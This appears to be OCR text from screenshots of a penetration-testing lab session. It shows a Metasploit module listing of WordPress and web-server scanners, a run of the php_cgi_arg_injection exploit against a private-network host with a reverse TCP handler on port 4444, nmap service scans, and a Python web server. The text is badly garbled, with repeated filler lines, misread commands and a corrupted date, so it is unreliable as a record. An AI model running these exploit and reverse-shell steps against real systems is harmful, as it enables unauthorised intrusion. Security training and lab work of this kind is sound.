normal

normal

normal

normal
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root@osboxes: ~/Desktop

Yes  HTTP WebDAV Scanner
221 auxiliary/scanner/http/webdav_website content
Yes  HTTP WebDAV Website Content Scanner

222 auxiliary/scanner/http/webpagetest traversal 2012-07-13
Yes  WebPageTest Directory Traversal

223 auxiliary/scanner/http/wildfly traversal 2014-10-22
Yes  WildFly Directory Traversal

224 auxiliary/scanner/http/wordpress _content_injection 2017-02-01
Yes  WordPress REST API Content Injection

225 auxiliary/scanner/http/wordpress _cp_calendar_sqli 2015-03-03

Yes  WordPress CP Multi-View Calendar Unauthenticated SQL Injection Scanner
226 auxiliary/scanner/http/wordpress _ghost_scanner
WordPress XMLRPC GHOST Vulnerability Scanner
227 auxiliary/scanner/http/wordpress _login_enum
Yes  WordPress Brute Force and User Enumeration Utility
228 auxiliary/scanner/http/wordpress_multicall creds
Wordpress XML-RPC system.multicall Credential Collector
229 auxiliary/scanner/http/wordpress_pingback access
Wordpress Pingback Locator
230 auxiliary/scanner/http/wordpress_scanner
Wordpress Scanner
231 auxiliary/scanner/http/wordpress_xmlrpc_login
Yes  Wordpress XML-RPC Username/Password Login Scanner
232 auxiliary/scanner/http/wp_arbitrary file deletion 2018-06-26

Yes

Yes

Yes

Yes

No Wordpress Arbitrary File Deletion
233 auxiliary/scanner/http/wp_contus_video_gallery sqli 2015-02-24
Yes  WordPress Contus Video Gallery Unauthenticated SQL Injection Scanner

234 auxiliary/scanner/http/wp_dukapress file read
Yes  WordPress DukaPress Plugin File Read Vulnerability
235 auxiliary/scanner/http/wp_gimedia library file read
veCherrylreeieress GI-Media Library Plugin Directory Traversal Vulnerability
236 auxiliary/scanner/http/wp_mobile pack info_disclosure
Yes  WordPress Mobile Pack Information Disclosure Vulnerability
237 auxiliary/scanner/http/wp_mobileedition file read
Yes  WordPress Mobile Edition File Read Vulnerability
238 auxiliary/scanner/http/wp_nextgen galley file read
Yes  WordPress NextGEN Gallery Directory Read Vulnerability
239 auxiliary/scanner/http/wp_simple_backup_file read
Yes  WordPress Simple Backup File Read Vulnerability
240 auxiliary/scanner/http/wp_subscribe comments file read
Yes  WordPress Subscribe Comments File Read Vulnerability
241 auxiliary/scanner/http/xpath
Yes  HTTP Blind XPATH 1.0 Injector
242 auxiliary/scanner/http/yaws_traversal 2011-11-25
Yes  Yaws Web Server Directory Traversal
243 auxiliary/scanner/http/zabbix_login
Yes  Zzabbix Server Brute Force Utility
244 _auxiliary/scanner/http/zenworks assetmanagement fileaccess

Y v B =

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal
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=[ metasploit v5.0.41-dev
, 1914 exploits - 1074 auxiliary - 330 post
, 556 payloads - 45 encoders - 10 nops
o7 [ 4 evasion 1
1sf5 > search php_cgi arg_injection
latching Modules
# Name Disclosure Date Ra
0 exploit/multi/http/php cgi arg injection 2012-05-03 ex
Injection

1sf5 > use exploit/multi/http/php_cgi arg injection
1sf5 exploit(multi/http/php_cgi_arg_injection) > set RHOST 192.168
T => 192.168.56.104

exploit(multi/http/php_cgi_arg_injection) > exploit

*] started reverse TCP handler on 10.0.2.15:4444
*] Exploit completed, but no session was created
1sf5 exploit(multi/http/php_cgi_arg_injection) > exploit

*] started reverse TCP handler on 10.0.2.15:4444
+] Exploit completed, but no session was created
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root@osboxes:~# 1fconfig
etho: flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1560

inet 192.168.1.244 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 feso::a00:27ff:fe27:b36b prefixlen 64 scopeid Ox20<link>
ether 08:00:27:27:b3:6b txqueuelen 1000 (Ethernet

RX packets 842 bytes 81845 (79.9 KiB

RX errors © dropped 0 overruns @ frame o

TX packets 122 bytes 13446 (13.1 KiB

TX errors © dropped © overruns 0 carrier © collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

-fox ESR

inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid Ox10<host>

loop txqueuelen 1000 (Local Loopback)

RX packets 4759 bytes 1229791 (1.1 MiB

RX errors © dropped 0 overruns @ frame o

TX packets 4759 bytes 1229791 (1.1 MiB

TX errors © dropped © overruns 0 carrier ® collisions 0

root@osboxes:~# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
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root@osboxes:~/Desktop# nmap -sV 192.168.56.104

Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-30 1

Nmap scan report for 192.168.56.104
Host is up (0.0028s latency).
Not shown: 991 filtered ports
STATE SERVICE

PORT
22/tcp
80/tcp

open
open

Suhosin-Patch

139/tcp
143/tcp
443/tcp
445/tcp
5001/tcp
8080/tcp
8081/tcp

open
open
open
open
open
open
open

ssh

http
proxy_html/3.

netbios-ssn

imap

ssl/https?

netbios-ssn

java-object

http

http

VERSTON

OpensSH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protocol 2.0)

Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with
0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenSSL...)

Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Courier Imapd (released 2008)

Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Java Object Serialization

Apache Tomcat/Coyote JSP engine 1.1

Jetty 6.1.25

1 service unrecognized despite returning data. If you know the service/version, please submit the f
ollowing fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

SF-POrt5001-TCP:
SF:LL,4,"\xac\xed\0\x05

7.80%!

%D=4/30%Time=69F3EBC4%P=x86_64-pc-Linux-gnusr (NU

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done:

1 IP address (1 host up) scanned in 24.27 seconds
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root@osboxes :~/DeSKTOpE NEAD

Starting Nmap 7.80 ( https://nmap.org ) at 2026-84-30 19:43 EDT
Nmap scan report for 10.0.2.15

Host is up (0.000085s latency).

Not shown: 65534 closed ports

PORT  STATE SERVICE VERSION

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program versi port/proto service
| 100000 2,3,4 111/tcp  rpcbind
| 100000 2,3,4 111/udp  rpcbind
| 100000 3,4 111/tcp6  rpcbind
|_ 100000 3,4 111/udp6  rpcbind

Device type: general purpose

Running: Linux 2.6.X

05 CPE: cpe:/o:linux:linux_kernel:2.6.32
05 details: Linux 2.6.32

Network Distance: © hops

05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/|

Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds

root@oshoxes:~/Desktop# rpcbind

rpChermyTreeother rpcbind is already running. Aborting

root@oshoxes:~/Desktop# rpcbind 10.0.2.15

rpcbind: another rpcbind is already running. Aborting

root@oshoxes:~/Desktop# msfconsole

[-] *+#rting the Metasploit Framework console.../

[-] * WARNING: No database support: could not connect to server: Connection refused
Is the server running on host "localhost” (::1) and accepting
TCP/IP connections on port 54327

could not connect to server: Connection refused
Is the server running on host "localhost® (127.6.0.1) and accepting
TCP/IP connections on port 54327





